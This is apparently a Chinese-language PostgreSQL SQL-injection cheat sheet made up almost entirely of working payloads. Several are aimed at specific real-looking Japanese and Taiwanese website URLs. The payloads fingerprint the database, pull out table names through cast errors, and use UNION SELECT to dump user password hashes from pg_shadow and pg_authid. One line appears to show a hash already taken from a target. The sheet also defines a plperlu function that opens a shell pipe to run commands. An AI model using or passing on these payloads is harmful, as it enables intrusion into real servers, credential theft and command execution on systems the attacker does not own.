’ and chr(97)%7c%7cchr(97)=chr(97)%7c%7cchr(97)–
http://tendai.or.jp/journal/kiji.php?nid=98
http://heiankyo.co.jp/shopping/note.php?pid=1163569’ and 1=cast((select relname from pg_stat_user_tables limit 1 offset 1)||111 as int);–
判断postgresql数据库
http://www.xxx.com/news.php?id=62 and 1::int=1
用户:current_user:postgres
数据库名:current_database()或datname :kmttpweb
当前会话用户:session_user: postgres
用户权限:current_schema() :pulic
xxx.php?id=10;CREATE FUNCTION id() RETURNS text AS a a a aaa aaaopen(FD,chr(108).chr(105).chr(32).chr(124));return join(chr(0),); a a a aaa aaa LANGUAGE plperlu;–
xxx.php?id=10 and 1=2 union select null,null,null,id(),null,null,null,null–
select rolname,rolpassword from pg_authid; 获取用户名和hash(需要postgres用户权限)
select usename,passwd from pg_shadow;同上
http://www.kmttp.org.tw/kmt/news/news_im_context.jsp?nid=161210171300’ and 1=2 uNion sELect ‘1111’,‘222’,‘333’,null,‘555’,‘666’,‘777’,‘888’,passwd,‘000’,'rrr’from pg_shadow –
md53175bce1d3201d16594cebf9d7eb3f9d postgrespostgres
爆表名:
第一个表: 表名是:aclinkd
http://www.kmttp.org.tw/kmt/news/news_im_context.jsp?nid=161210171300’ and 1=2 uNion sELect ‘1111’,‘222’,‘333’,null,‘555’,‘666’,‘777’,‘888’,relname,‘000’,‘rrr’ from pg_stat_user_tables limit 1 offset 0–
或(加入relkind=’r’,只查询普通表)